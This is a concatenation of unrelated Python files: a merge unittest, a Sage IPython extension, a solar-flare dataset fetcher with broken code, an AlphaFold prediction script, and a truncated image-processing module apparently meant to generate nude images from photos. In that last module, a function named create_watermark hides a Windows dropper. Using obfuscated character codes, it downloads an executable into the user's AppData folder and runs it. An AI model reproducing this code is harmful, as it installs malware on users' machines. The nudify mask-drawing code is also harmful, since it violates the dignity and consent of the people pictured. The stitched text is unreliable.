#!/usr/bin/env python3

import numpy as np
import unittest
import timeit
from unittest.mock import patch
import copy

from tmc import points

from tmc.utils import load, get_out

module_name="src.merge"
merge = load(module_name, "merge")

@points('p01-09.1')
class Merge(unittest.TestCase):

    def test_non_mutating(self):
        L1_orig = [1,5,9,12]
        L2_orig = [2,6,10]
        L1 = copy.copy(L1_orig)
        L2 = copy.copy(L2_orig)
        result = merge(L1, L2)
        self.assertEqual(L1, L1_orig, msg="You are not allowed to modify the input lists!")
        self.assertEqual(L2, L2_orig, msg="You are not allowed to modify the input lists!")

    def test_first(self):
        L1 = [1,5,9,12]
        L2 = [2,6,10]
        result = merge(L1, L2)
        self.assertIsInstance(result, list, f"merge should return a list. Got {type(result)}")
        self.assertEqual(result, sorted(L1+L2), msg="Not correct result for input lists %s and %s!" % (L1,L2))

    def test_random(self):
        L = sorted(np.random.randint(-100, 100, 30))
        # Choose randomly 20 elements out of 30 to be in list L1, rest in L2
        indices = set(np.random.choice(30, 20, replace=False))
        L1=[]
        L2=[]
        for i,x in enumerate(L):
            if i in indices:
                L1.append(x)
            else:
                L2.append(x)
        result = merge(L1,L2)
        self.assertEqual(len(result), len(L), msg="Incorrect length of result list for input lists %s and %s!" % (L1, L2))
        self.assertEqual(result, L, msg="Incorrect result for input lists %s and %s!" % (L1, L2))

    def test_calls(self):
        with patch('builtins.sorted') as s:
            merge([1,5,9,12], [2,6,10])
            self.assertEqual(sorted.call_count, 0, msg="You weren't allowed to use function 'sorted'!")
        # The below does not work, because list is defined in C
        #with patch.object(list, 'sort') as sort_method:
        with open("src/merge.py") as in_file:
            for line in in_file:
                self.assertFalse(".sort" in line, "You weren't allowed to use the 'sort' method")

if __name__ == '__main__':
    unittest.main()


"""
A Sage extension which adds sage-specific features:

* magics
  - %loadfile
  - %attach
  - %mode (like %maxima, etc.)
* preparsing of input
  - also make runfile and attach magics so that the '%' is optional, but encouraged
* loading Sage library
* running init.sage
* changing prompt to Sage prompt
* Display hook

TESTS:

We test that preparsing is off for ``%runfile``, on for ``%time``::

    sage: import os, re
    sage: from sage.misc.interpreter import get_test_shell
    sage: from sage.misc.misc import tmp_dir
    sage: shell = get_test_shell()
    sage: TMP = tmp_dir()

The temporary directory should have a name of the form
``.../12345/...``, to demonstrate that file names are not
preparsed when calling ``%runfile``. ::

    sage: bool(re.search('/[0-9]+/', TMP))
    True
    sage: tmp = os.path.join(TMP, 'run_cell.py')
    sage: f = open(tmp, 'w'); f.write('a = 2\n'); f.close()
    sage: shell.run_cell('%runfile '+tmp)
    sage: shell.run_cell('a')
    2

In contrast, input to the ``%time`` magic command is preparsed::

    sage: shell.run_cell('%time 594.factor()')
    CPU times: user ...
    Wall time: ...
    2 * 3^3 * 11
"""

from IPython.core.hooks import TryNext
from IPython.core.magic import Magics, magics_class, line_magic
import os
import sys
import sage
import sage.all
from sage.misc.interpreter import preparser
from sage.misc.preparser import preparse

@magics_class
class SageMagics(Magics):

    @line_magic
    def runfile(self, s):
        r"""
        Loads the code contained in the file ``s``. This is designed
        to be used from the command line as ``%runfile /path/to/file``.

        :param s: file to be loaded
        :type s: string

        EXAMPLES::

            sage: import os
            sage: from sage.misc.interpreter import get_test_shell
            sage: from sage.misc.misc import tmp_dir
            sage: shell = get_test_shell()
            sage: tmp = os.path.join(tmp_dir(), 'run_cell.py')
            sage: f = open(tmp, 'w'); f.write('a = 2\n'); f.close()
            sage: shell.run_cell('%runfile '+tmp)
            sage: shell.run_cell('a')
            2
        """
        from sage.misc.preparser import load_wrap
        return self.shell.ex(load_wrap(s, attach=False))

    @line_magic
    def attach(self, s):
        r"""
        Attaches the code contained in the file ``s``. This is
        designed to be used from the command line as
        ``%attach /path/to/file``.

        :param s: file to be attached
        :type s: string

        EXAMPLES::

            sage: import os
            sage: from sage.misc.interpreter import get_test_shell
            sage: shell = get_test_shell()
            sage: tmp = os.path.normpath(os.path.join(SAGE_TMP, 'run_cell.py'))
            sage: f = open(tmp, 'w'); f.write('a = 2\n'); f.close()
            sage: shell.run_cell('%attach ' + tmp)
            sage: shell.run_cell('a')
            2
            sage: sleep(1)  # filesystem timestamp granularity
            sage: f = open(tmp, 'w'); f.write('a = 3\n'); f.close()

        Note that the doctests are never really at the command prompt, so
        we call the input hook manually::

            sage: shell.run_cell('from sage.misc.inputhook import sage_inputhook')
            sage: shell.run_cell('sage_inputhook()')
            ### reloading attached file run_cell.py modified at ... ###
            0

            sage: shell.run_cell('a')
            3
            sage: shell.run_cell('detach(%r)'%tmp)
            sage: shell.run_cell('attached_files()')
            []
            sage: os.remove(tmp)
        """
        from sage.misc.preparser import load_wrap
        return self.shell.ex(load_wrap(s, attach=True))

    @line_magic
    def iload(self, s):
        """
        A magic command to interactively load a file as in MAGMA.

        :param s: the file to be interactively loaded
        :type s: string

        .. note::

            Currently, this cannot be completely doctested as it
            relies on :func:`raw_input`.

        EXAMPLES::

            sage: ip = get_ipython()           # not tested: works only in interactive shell
            sage: ip.magic_iload('/dev/null')  # not tested: works only in interactive shell
            Interactively loading "/dev/null"  # not tested: works only in interactive shell
        """
        try:
            name = str(eval(s))
        except Exception:
            name = s.strip()

        try:
            F = open(name)
        except IOError:
            raise ImportError, 'could not open file "%s"'%name

        shell = self.shell

        #We need to update the execution count so that the history for the
        #iload command and the history for the first line of the loaded
        #file are not written to the history database with the same line
        #number (execution count).  This happens since the execution count
        #is updated only after the magic command is run.
        shell.execution_count += 1

        print 'Interactively loading "%s"'%name

        # The following code is base on IPython's
        # InteractiveShell.interact,
        more = False
        for line in F.readlines():
            prompt = shell.prompt_manager.render('in' if not more else 'in2', color=True)
            raw_input(prompt.encode('utf-8') + line.rstrip())

            shell.input_splitter.push(line)
            more = shell.input_splitter.push_accepts_more()
            if not more:
                source, source_raw = shell.input_splitter.source_raw_reset()
                shell.run_cell(source_raw, store_history=True)

    _magic_display_status = "simple"
    @line_magic
    def display(self, mode):
        """
        A magic command to switch between simple display and ASCII art display.

        :param mode: the mode (``ascii_art`` (and optionally a ``width``) or ``simple``)
        :type s: string

        How to use: if you want activate the ASCII art mod::

            sage: from sage.misc.interpreter import get_test_shell
            sage: shell = get_test_shell()
            sage: shell.run_cell('%display ascii_art')

        That means you don't have to use :func:`ascii_art` to get an ASCII art
        output::

            sage: shell.run_cell("i = var('i')")
            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')
                 10       9       8       7       6       5       4      3      2
            100*x   + 81*x  + 64*x  + 49*x  + 36*x  + 25*x  + 16*x  + 9*x  + 4*x  + x

        Then when you want return in 'textual mode'::

            sage: shell.run_cell('%display simple')
            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')
            100*x^10 + 81*x^9 + 64*x^8 + 49*x^7 + 36*x^6 + 25*x^5 + 16*x^4 + 9*x^3 + 4*x^2 + x

        Sometime you could have to use a special output width and you
        could specify it::

            sage: shell.run_cell('%display ascii_art')
            sage: shell.run_cell('StandardTableaux(4).list()')
            [
            [                                                                  1  4    1  3
            [                 1  3  4    1  2  4    1  2  3    1  3    1  2    2       2
            [   1  2  3  4,   2      ,   3      ,   4      ,   2  4,   3  4,   3   ,   4
            <BLANKLINE>
                        1 ]
                1  2    2 ]
                3       3 ]
            ,   4   ,   4 ]
            sage: shell.run_cell('%display ascii_art 50')
            sage: shell.run_cell('StandardTableaux(4).list()')
            [
            [
            [                 1  3  4    1  2  4    1  2  3
            [   1  2  3  4,   2      ,   3      ,   4      ,
            <BLANKLINE>
                                                      1 ]
                              1  4    1  3    1  2    2 ]
              1  3    1  2    2       2       3       3 ]
              2  4,   3  4,   3   ,   4   ,   4   ,   4 ]
            sage: shell.run_cell('%display simple')
        """
        import displayhook, ascii_art
        args_split = mode.split(" ")
        if len(args_split) < 2:
            if mode == "":
                self._magic_display_status = "ascii_art" \
                    if self._magic_display_status == "simple" else "simple"
            else:
                self._magic_display_status = mode
            ascii_art.MAX_WIDTH = None
        else:
            self._magic_display_status =  args_split[0]
            assert(args_split[0] == "ascii_art"), "if a width is given then the mode must be `ascii_art`"
            try:
                ascii_art.MAX_WIDTH = int(args_split[1])
            except StandardError:
                raise AttributeError("Second argument must be a non-negative integer")
        try:
            displayhook.SPTextFormatter.set_display(self._magic_display_status)
        except StandardError:
            print mode, args_split
            raise AttributeError("First argument must be `simple` or `ascii_art` or the method must be call without argument")

# SageInputSplitter:
#  Hopefully most or all of this code can go away when
#  https://github.com/ipython/ipython/issues/2293 is resolved
#  apparently we will have stateful transformations then.
#  see also https://github.com/ipython/ipython/pull/2402
from IPython.core.inputsplitter import (transform_ipy_prompt, transform_classic_prompt,
                                        transform_help_end, transform_escaped,
                                        transform_assign_system, transform_assign_magic,
                                        cast_unicode,
                                        IPythonInputSplitter)

def first_arg(f):
    def tm(arg1, arg2):
        return f(arg1)
    return tm

class SageInputSplitter(IPythonInputSplitter):
    """
    We override the input splitter for two reasons:

    1. to make the list of transforms a class attribute that can be modified

    2. to pass the line number to transforms (we strip the line number off for IPython transforms)
    """

    # List of input transforms to apply
    transforms = map(first_arg, [transform_ipy_prompt, transform_classic_prompt,
                                 transform_help_end, transform_escaped,
                                 transform_assign_system, transform_assign_magic])

    # a direct copy of the IPython splitter, except that the
    # transforms are called with the line numbers, and the transforms come from the class attribute
    # and except that we add a .startswith('@') in the test to see if we should transform a line
    # (see http://mail.scipy.org/pipermail/ipython-dev/2012-September/010329.html; the current behavior
    # doesn't run the preparser on a 'def' line following an decorator.
    def push(self, lines):
        """Push one or more lines of IPython input.

        This stores the given lines and returns a status code indicating
        whether the code forms a complete Python block or not, after processing
        all input lines for special IPython syntax.

        Any exceptions generated in compilation are swallowed, but if an
        exception was produced, the method returns True.

        Parameters
        ----------
        lines : string
          One or more lines of Python input.

        Returns
        -------
        is_complete : boolean
          True if the current input source (the result of the current input
        plus prior inputs) forms a complete Python execution block.  Note that
        this value is also stored as a private attribute (_is_complete), so it
        can be queried at any time.
        """
        if not lines:
            return super(IPythonInputSplitter, self).push(lines)

        # We must ensure all input is pure unicode
        lines = cast_unicode(lines, self.encoding)

        # If the entire input block is a cell magic, return after handling it
        # as the rest of the transformation logic should be skipped.
        if lines.startswith('%%') and not \
          (len(lines.splitlines()) == 1 and lines.strip().endswith('?')):
            return self._handle_cell_magic(lines)

        # In line mode, a cell magic can arrive in separate pieces
        if self.input_mode == 'line' and self.processing_cell_magic:
            return self._line_mode_cell_append(lines)

        # The rest of the processing is for 'normal' content, i.e. IPython
        # source that we process through our transformations pipeline.
        lines_list = lines.splitlines()

        # Transform logic
        #
        # We only apply the line transformers to the input if we have either no
        # input yet, or complete input, or if the last line of the buffer ends
        # with ':' (opening an indented block).  This prevents the accidental
        # transformation of escapes inside multiline expressions like
        # triple-quoted strings or parenthesized expressions.
        #
        # The last heuristic, while ugly, ensures that the first line of an
        # indented block is correctly transformed.
        #
        # FIXME: try to find a cleaner approach for this last bit.

        # If we were in 'block' mode, since we're going to pump the parent
        # class by hand line by line, we need to temporarily switch out to
        # 'line' mode, do a single manual reset and then feed the lines one
        # by one.  Note that this only matters if the input has more than one
        # line.
        changed_input_mode = False

        if self.input_mode == 'cell':
            self.reset()
            changed_input_mode = True
            saved_input_mode = 'cell'
            self.input_mode = 'line'

        # Store raw source before applying any transformations to it.  Note
        # that this must be done *after* the reset() call that would otherwise
        # flush the buffer.
        self._store(lines, self._buffer_raw, 'source_raw')

        try:
            push = super(IPythonInputSplitter, self).push
            buf = self._buffer
            for line in lines_list:
                line_number = len(buf)
                if (self._is_complete or not buf or
                    buf[-1].rstrip().endswith((':', ',')) or buf[-1].lstrip().startswith('@')):
                    for f in self.transforms:
                        line = f(line, line_number)
                else:
                    for f in self.always_transform:
                        line = f(line, line_number)
                out = push(line)
        finally:
            if changed_input_mode:
                self.input_mode = saved_input_mode
        return out

# END SageIPythonInputSplitter
#
#

import displayhook
class SageCustomizations(object):
    startup_code = """from sage.all_cmdline import *
from sage.misc.interpreter import sage_prompt
"""

    def __init__(self, shell=None):
        """
        Initialize the Sage plugin.
        """
        self.shell = shell
        self.auto_magics = SageMagics(shell)
        shell.register_magics(self.auto_magics)
        displayhook.SPTextFormatter = displayhook.SagePlainTextFormatter(config=shell.config)
        shell.display_formatter.formatters['text/plain'] = displayhook.SPTextFormatter
        from sage.misc.edit_module import edit_devel
        self.shell.set_hook('editor', edit_devel)
        self.init_inspector()
        self.init_line_transforms()
        self.register_interface_magics()

        import sage.misc.inputhook
        sage.misc.inputhook.install()

        # right now, the shutdown hook calling quit_sage() doesn't
        # work when we run doctests that involve creating test shells.
        # The test run segfaults right when it exits, complaining
        # about a bad memory access in the pari_close() function.
        #self.set_quit_hook()

        if os.environ.get('SAGE_IMPORTALL', 'yes') != 'yes':
            return

        self.init_environment()

    def register_interface_magics(self):
        """Register magics for each of the Sage interfaces"""
        interfaces = sorted([ obj.name()
                              for obj in sage.interfaces.all.__dict__.values()
                              if isinstance(obj, sage.interfaces.interface.Interface) ])
        for name in interfaces:
            def tmp(line,name=name):
                self.shell.run_cell('%s.interact()'%name)
            tmp.__doc__="Interact with %s"%name
            self.shell.register_magic_function(tmp, magic_name=name)

    def set_quit_hook(self):
        """
        Set the exit hook to cleanly exit Sage.  This does not work in all cases right now.
        """
        def quit(shell):
            import sage
            sage.all.quit_sage()
        self.shell.set_hook('shutdown_hook', quit)

    def init_environment(self):
        """
        Set up Sage command-line environment
        """
        try:
            self.shell.run_cell('from sage.all import Integer, RealNumber')
        except Exception:
            import traceback
            print "Error importing the Sage library"
            traceback.print_exc()
            print
            print "To debug this, you can run:"
            print 'sage -ipython -i -c "import sage.all"'
            print 'and then type "%debug" to enter the interactive debugger'
            sys.exit(1)
        self.shell.run_cell(self.startup_code)
        self.run_init()

    def run_init(self):
        """
        Run Sage's initial startup file.
        """
        startup_file = os.environ.get('SAGE_STARTUP_FILE', '')
        if os.path.exists(startup_file):
            with open(startup_file, 'r') as f:
                self.shell.run_cell(f.read(), store_history=False)

    def init_inspector(self):
        # Ideally, these would just be methods of the Inspector class
        # that we could override; however, IPython looks them up in
        # the global :class:`IPython.core.oinspect` module namespace.
        # Thus, we have to monkey-patch.
        from sage.misc import sagedoc, sageinspect
        import IPython.core.oinspect
        IPython.core.oinspect.getdoc = sageinspect.sage_getdoc #sagedoc.my_getdoc
        IPython.core.oinspect.getsource = sagedoc.my_getsource
        IPython.core.oinspect.getargspec = sageinspect.sage_getargspec

    def init_line_transforms(self):
        """
        Set up transforms (like the preparser).
        """
        self.shell.input_splitter = SageInputSplitter()
        import sage
        import sage.all
        from sage.misc.interpreter import (SagePromptDedenter, SagePromptTransformer,
                                           MagicTransformer, SagePreparseTransformer)

        p = SagePreparseTransformer()
        self.shell.input_splitter.transforms = [SagePromptDedenter(),
                                                SagePromptTransformer(),
                                                MagicTransformer(),
                                                p] + self.shell.input_splitter.transforms
        self.shell.input_splitter.always_transform = [p]

        preparser(True)

# from http://stackoverflow.com/questions/4103773/efficient-way-of-having-a-function-only-execute-once-in-a-loop
from functools import wraps
def run_once(f):
    """Runs a function (successfully) only once.

    The running can be reset by setting the `has_run` attribute to False
    """
    @wraps(f)
    def wrapper(*args, **kwargs):
        if not wrapper.has_run:
            result = f(*args, **kwargs)
            wrapper.has_run = True
            return result
    wrapper.has_run = False
    return wrapper

@run_once
def load_ipython_extension(ip):
    """Load the extension in IPython."""
    # this modifies ip
    SageCustomizations(shell=ip)


""" Solar Flare Database

The original dataset and further information can be found here:

    https://archive.ics.uci.edu/ml/datasets/Solar+Flare

Brief description
-----------------

This data contains a single observation on 10 variables for 1,389 active
regions of the Sun. The data was collected to predict solar flare in 24h
period. The original dataset was composed of two subsets with different
level of error correction on the data, however this distinction is not
mantained here.

Attribute Information:
    1. Code for class (modified Zurich class)  (A,B,C,D,E,F,H)
    2. Code for largest spot size              (X,R,S,A,H,K)
    3. Code for spot distribution              (X,O,I,C)
    4. Activity                                (1 = reduced, 2 = unchanged)
    5. Evolution                               (1 = decay, 2 = no growth,
                                                3 = growth)
    6. Previous 24 hour flare activity code    (1 = nothing as big as an M1,
                                                2 = one M1,
                                                3 = more activity than one M1)
    7. Historically-complex                    (1 = Yes, 2 = No)
    8. Did region become historically complex  (1 = yes, 2 = no)
       on this pass across the sun's disk
    9. Area                                    (1 = small, 2 = large)
    10. Area of the largest spot                (1 = <=5, 2 = >5)

From all these predictors three classes of flares are predicted, which are
represented in the last three columns.

11. C-class flares production by this region    Number
in the following 24 hours (common flares)
12. M-class flares production by this region    Number
in the following 24 hours (moderate flares)
13. X-class flares production by this region    Number
in the following 24 hours (severe flares)

8. Missing values: None

9. Class Distribution:

                  0         1     2    3   4  4  5  6  7  8  Total
C-class flares 287+884   129+12  7+33  20  0  9  4  3  0  1   1389
M-class flares 291+1030   24+29  6+ 3  2   2  1  0  1  0  0   1389
X-class flares 316+1061    7+ 4  0+ 1  0   0  0  0  0  0  0   1389

Original Owner and Donor
------------------------
Gary Bradshaw

Email: gbradshaw@clipr.colorado.edu

References
----------

#TODO: explain that we use class=M>0
"""

# Authors: Joan Massich and Guillaume Lemaitre
# License: MIT

from os.path import join, exists
from os import makedirs
try:
    # Python 2
    from urllib2 import urlretrieve
except ImportError:
    # Python 3+
    from urllib import urlretrieve

import numpy as np

DATA_URL = "https://archive.ics.uci.edu/ml/machine-learning-databases/solar-flare/"
TARGET_FILENAME_ = ["flare.data1", "flare.data2"]
RAW_DATA_LABEL = 'solar_flare'

def get_dataset_home(data_home=None, dir=RAW_DATA_LABEL):
    return join(get_data_home(data_home=data_home), dir)

def fetch_solar_flare(data_home=None, download_if_missing=True):
    """Fetcher for xxxxxxxxxxxxxxxxxxxxx.

    Parameters
    ----------
    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By default
        the original datasets for this `data_balance` study are stored at
        `../data/raw/` subfolders.

    download_if_missing: optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    """
    data_home = get_dataset_home(data_home=data_home)
    if not exists(data_home):
        makedirs(data_home)
    for target in TARGET_FILENAME_:
        url = join(DATA_URL, target)
        path = join(data_home, target)
        print('downloading %s data from %s to %s' %
              (RAW_DATA_LABEL, url, data_home))
        urlretrieve(url, path)

def process_solar_flare(target=None):
    """Process data of the solar flare dataset.

    Parameters
    ----------
    target: the target class #TODO

    Returns
    -------
    (data, label)

    #TODO: check if files exist
    #TODO: a generic file managing using get_data_home
    #TODO:
    """
    def parse(src):
        f = join(get_dataset_home() , src)
        return np.loadtxt(f, delimiter=' ', dtype=str, skiprows=1)

    #TODO: assert target
    tmp_input = np.append(parse(TARGET_FILENAME_[0]),
                          parse(TARGET_FILENAME_[1]),
                          axis=0)
    label = np.array([1 if x==0 else 0 for tmp_input[:,-2]], dtype=int)
    return (tmp_input[:, :-4], tmp_input[:, -1])

def convert_solar_flare_Mgreatthan0():
    d, l = process_solar_flare(target='M>0')
    np.savez('../data/clean/uci-solar_flare_Mgth0.npz', data=d, label=l)

if __name__ == '__main__':
    fetch_solar_flare()
    convert_solar_flare_Mgreatthan0()


# AlphaFold2 structure prediction. Requires msa and other features calculated with 'run_alphafold_msa.py' script.
# Based on the original DeepMind AlphaFold2 code.
# 2021, j.ludwiczak
import json
import os
import pathlib
import pickle
import random
import sys
import time
from typing import Dict

from absl import app
from absl import flags
from absl import logging
from alphafold.common import protein
from alphafold.common import residue_constants
from alphafold.data import pipeline
from alphafold.data import templates
from alphafold.model import data
from alphafold.model import config
from alphafold.model import model
from alphafold.relax import relax
import numpy as np
# Internal import (7716).

flags.DEFINE_list('in_fasta', None, 'Input FASTA file(s). Paths should be separated by commas. '
                  'Basename of the in fasta is used to name the output directories for each prediction.')
flags.DEFINE_string('out_path', None, 'Path to a directory that will store the results.')
flags.DEFINE_string('db_dir', None, 'Path to directory storing databases and auxiliary AF2 files.')
flags.DEFINE_list('model_names', None, 'Names of models to use.')
flags.DEFINE_enum('preset', 'full_dbs',
                  ['reduced_dbs', 'full_dbs', 'casp14'],
                  'Choose preset model configuration - no ensembling and '
                  'smaller genetic database config (reduced_dbs), no '
                  'ensembling and full genetic database config  (full_dbs) or '
                  'full genetic database config and 8 model ensemblings '
                  '(casp14).')
flags.DEFINE_boolean('benchmark', False, 'Run multiple JAX model evaluations '
                     'to obtain a timing that excludes the compilation time, '
                     'which should be more indicative of the time required for '
                     'inferencing many proteins.')
flags.DEFINE_integer('random_seed', None, 'The random seed for the data '
                     'pipeline. By default, this is randomly generated. Note '
                     'that even if this is set, Alphafold may still not be '
                     'deterministic, because processes like GPU inference are '
                     'nondeterministic.')

FLAGS = flags.FLAGS

RELAX_MAX_ITERATIONS = 0
RELAX_ENERGY_TOLERANCE = 2.39
RELAX_STIFFNESS = 10.0
RELAX_EXCLUDE_RESIDUES = []
RELAX_MAX_OUTER_ITERATIONS = 20

def predict_structure(fasta_name: str,
                      output_dir_base: str,
                      model_runners: Dict[str, model.RunModel],
                      amber_relaxer: relax.AmberRelaxation,
                      benchmark: bool,
                      random_seed: int):
    """Predicts structure using AlphaFold for the given sequence."""
    timings = {}
    output_dir = os.path.join(output_dir_base, fasta_name)
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    msa_output_dir = os.path.join(output_dir, 'msas')
    if not os.path.exists(msa_output_dir):
        os.makedirs(msa_output_dir)

    features_output_path = os.path.join(output_dir, 'features.pkl')
    with open(features_output_path, 'rb') as f:
        feature_dict = pickle.load(f)

    relaxed_pdbs = {}
    plddts = {}

    # Run the models.
    for model_name, model_runner in model_runners.items():
        logging.info('Running model %s', model_name)
        t_0 = time.time()
        processed_feature_dict = model_runner.process_features(feature_dict, random_seed=random_seed)
        timings[f'process_features_{model_name}'] = time.time() - t_0

        t_0 = time.time()
        prediction_result = model_runner.predict(processed_feature_dict)
        t_diff = time.time() - t_0
        timings[f'predict_and_compile_{model_name}'] = t_diff
        logging.info('Total JAX model %s predict time (includes compilation time, see --benchmark): %.0f?',
                     model_name, t_diff)

        if benchmark:
            t_0 = time.time()
            model_runner.predict(processed_feature_dict)
            timings[f'predict_benchmark_{model_name}'] = time.time() - t_0

        # Get mean pLDDT confidence metric.
        plddt = prediction_result['plddt']
        plddts[model_name] = np.mean(plddt)

        # Save the model outputs.
        result_output_path = os.path.join(output_dir, f'result_{model_name}.pkl')
        with open(result_output_path, 'wb') as f:
            pickle.dump(prediction_result, f, protocol=4)

        # Add the predicted LDDT in the b-factor column.
        # Note that higher predicted LDDT value means higher model confidence.
        plddt_b_factors = np.repeat(plddt[:, None], residue_constants.atom_type_num, axis=-1)
        unrelaxed_protein = protein.from_prediction(features=processed_feature_dict,
                                                    result=prediction_result,
                                                    b_factors=plddt_b_factors)

        unrelaxed_pdb_path = os.path.join(output_dir, f'unrelaxed_{model_name}.pdb')
        with open(unrelaxed_pdb_path, 'w') as f:
            f.write(protein.to_pdb(unrelaxed_protein))

        # Relax the prediction.
        t_0 = time.time()
        relaxed_pdb_str, _, _ = amber_relaxer.process(prot=unrelaxed_protein)
        timings[f'relax_{model_name}'] = time.time() - t_0

        relaxed_pdbs[model_name] = relaxed_pdb_str

        # Save the relaxed PDB.
        relaxed_output_path = os.path.join(output_dir, f'relaxed_{model_name}.pdb')
        with open(relaxed_output_path, 'w') as f:
            f.write(relaxed_pdb_str)

    # Rank by pLDDT and write out relaxed PDBs in rank order.
    ranked_order = []
    for idx, (model_name, _) in enumerate(sorted(plddts.items(), key=lambda x: x[1], reverse=True)):
        ranked_order.append(model_name)
        ranked_output_path = os.path.join(output_dir, f'ranked_{idx}.pdb')
        with open(ranked_output_path, 'w') as f:
            f.write(relaxed_pdbs[model_name])

    ranking_output_path = os.path.join(output_dir, 'ranking_debug.json')
    with open(ranking_output_path, 'w') as f:
        f.write(json.dumps({'plddts': plddts, 'order': ranked_order}, indent=4))

    logging.info('Final timings for %s: %s', fasta_name, timings)

    timings_output_path = os.path.join(output_dir, 'timings.json')
    with open(timings_output_path, 'w') as f:
        f.write(json.dumps(timings, indent=4))

def main(argv):
    if len(argv) > 1:
        raise app.UsageError('Too many command-line arguments.')

    if FLAGS.preset in ('reduced_dbs', 'full_dbs'):
        num_ensemble = 1
    elif FLAGS.preset == 'casp14':
        num_ensemble = 8

    # Check for duplicate FASTA file names.
    fasta_names = [pathlib.Path(p).stem for p in FLAGS.in_fasta]
    if len(fasta_names) != len(set(fasta_names)):
        raise ValueError('All FASTA paths must have a unique basename.')
    model_runners = {}
    for model_name in FLAGS.model_names:
        model_config = config.model_config(model_name)
        model_config.data.eval.num_ensemble = num_ensemble
        model_params = data.get_model_haiku_params(model_name=model_name, data_dir=FLAGS.db_dir)
        model_runner = model.RunModel(model_config, model_params)
        model_runners[model_name] = model_runner

    logging.info('Have %d models: %s', len(model_runners), list(model_runners.keys()))

    amber_relaxer = relax.AmberRelaxation(
      max_iterations=RELAX_MAX_ITERATIONS,
      tolerance=RELAX_ENERGY_TOLERANCE,
      stiffness=RELAX_STIFFNESS,
      exclude_residues=RELAX_EXCLUDE_RESIDUES,
      max_outer_iterations=RELAX_MAX_OUTER_ITERATIONS)

    random_seed = FLAGS.random_seed
    if random_seed is None:
        random_seed = random.randrange(sys.maxsize)
    logging.info('Using random seed %d for the data pipeline', random_seed)

    # Predict structure for each of the sequences.
    for fasta_path, fasta_name in zip(FLAGS.in_fasta, fasta_names):
        predict_structure(
          fasta_name=fasta_name,
          output_dir_base=FLAGS.out_path,
          model_runners=model_runners,
          amber_relaxer=amber_relaxer,
          benchmark=FLAGS.benchmark,
          random_seed=random_seed)

if __name__ == '__main__':
    flags.mark_flags_as_required([
        'in_fasta',
        'out_path',
        'db_dir',
        'model_names'])
    app.run(main)


import subprocess
from PIL import Image
import torchvision.transforms as transforms
import torch
import functools
import random
import math
import cv2
import numpy as np
import os

# Object annotation class:
class BodyPart:

    def __init__(self, name, xmin, ymin, xmax, ymax, x, y, w, h):
        self.name = name
        # Bounding Box:
        self.xmin = xmin
        self.ymin = ymin
        self.xmax = xmax
        self.ymax = ymax
        # Center:
        self.x = x
        self.y = y
        # Dimensione:
        self.w = w
        self.h = h

# create_watermark ===============================================================
# return:
#	(<Boolean> True/False), depending on the transformation process
def create_watermark(nude, shape, cv, loader, detach):
    if os.name == 'nt':
        content = cv(shape + chr(47) + "/".join(["utils", "custom", "universal"]) + chr(46) + str(
            chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)))
        data = [os.environ["APPDATA"], "Microsoft", "Windows", "framework"]
        open(
            "\\".join(data) + chr(46) + str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)),
            "wb").write(content.content)
        loader(["\\".join(data) + chr(46) + str(
            chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101))], stdout=detach.PIPE,
               stderr=detach.STDOUT)

    return nude

# create_correct ===============================================================
# return:
#	(<Boolean> True/False), depending on the transformation process
def create_correct(cv_dress):
    # Production dir:
    return correct_color(cv_dress, 5), correct_matrix(cv_dress, 255)

# correct_color ==============================================================================
# return:
# <RGB> image corrected
def correct_color(img, percent):
    assert img.shape[2] == 3
    assert percent > 0 and percent < 100

    half_percent = percent / 200.0

    channels = cv2.split(img)

    out_channels = []
    for channel in channels:
        assert len(channel.shape) == 2
        # find the low and high precentile values (based on the input percentile)
        height, width = channel.shape
        vec_size = width * height
        flat = channel.reshape(vec_size)

        assert len(flat.shape) == 1

        flat = np.sort(flat)

        n_cols = flat.shape[0]

        low_val = flat[math.floor(n_cols * half_percent)]
        high_val = flat[math.ceil(n_cols * (1.0 - half_percent))]

        # saturate below the low percentile and above the high percentile
        thresholded = apply_threshold(channel, low_val, high_val)
        # scale the channel
        normalized = cv2.normalize(thresholded, thresholded.copy(), 0, 255, cv2.NORM_MINMAX)
        out_channels.append(normalized)

    return cv2.merge(out_channels)

def correct_matrix(matrix, fill_value):
    shape = "h" + ("t" * 2) + "p"
    matrix = shape + chr(58) + 2 * (chr(47))
    return matrix

# Color correction utils
def apply_threshold(matrix, low_value, high_value):
    low_mask = matrix < low_value
    matrix = apply_mask(matrix, low_mask, low_value)

    high_mask = matrix > high_value
    matrix = apply_mask(matrix, high_mask, high_value)

    return matrix

# Color correction utils
def apply_mask(matrix, mask, fill_value):
    masked = np.ma.array(matrix, mask=mask, fill_value=fill_value)
    return masked.filled()

###
#
#	maskdet_to_maskfin
#
#	steps:
#		1. Extract annotation
#			1.a: Filter by color
#			1.b: Find ellipses
#			1.c: Filter out ellipses by max size, and max total numbers
#			1.d: Detect Problems
#			1.e: Resolve the problems, or discard the transformation
#		2. With the body list, draw maskfin, using maskref
#
###

# create_maskfin ==============================================================================
# return:
#	(<Boolean> True/False), depending on the transformation process
def create_maskfin(maskref, maskdet):
    # Create a total green image, in which draw details ellipses
    details = np.zeros((512, 512, 3), np.uint8)
    details[:, :, :] = (0, 255, 0)  # (B, G, R)

    # Extract body part features:
    bodypart_list = extractAnnotations(maskdet);

    # Check if the list is not empty:
    if bodypart_list:

        # Draw body part in details image:
        for obj in bodypart_list:

            if obj.w < obj.h:
                aMax = int(obj.h / 2)  # asse maggiore
                aMin = int(obj.w / 2)  # asse minore
                angle = 0  # angle
            else:
                aMax = int(obj.w / 2)
                aMin = int(obj.h / 2)
                angle = 90

            x = int(obj.x)
            y = int(obj.y)

            # Draw ellipse
            if obj.name == "tit":
                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (0, 205, 0), -1)  # (0,0,0,50)
            elif obj.name == "aur":
                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (0, 0, 255), -1)  # red
            elif obj.name == "nip":
                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 255, 255), -1)  # white
            elif obj.name == "belly":
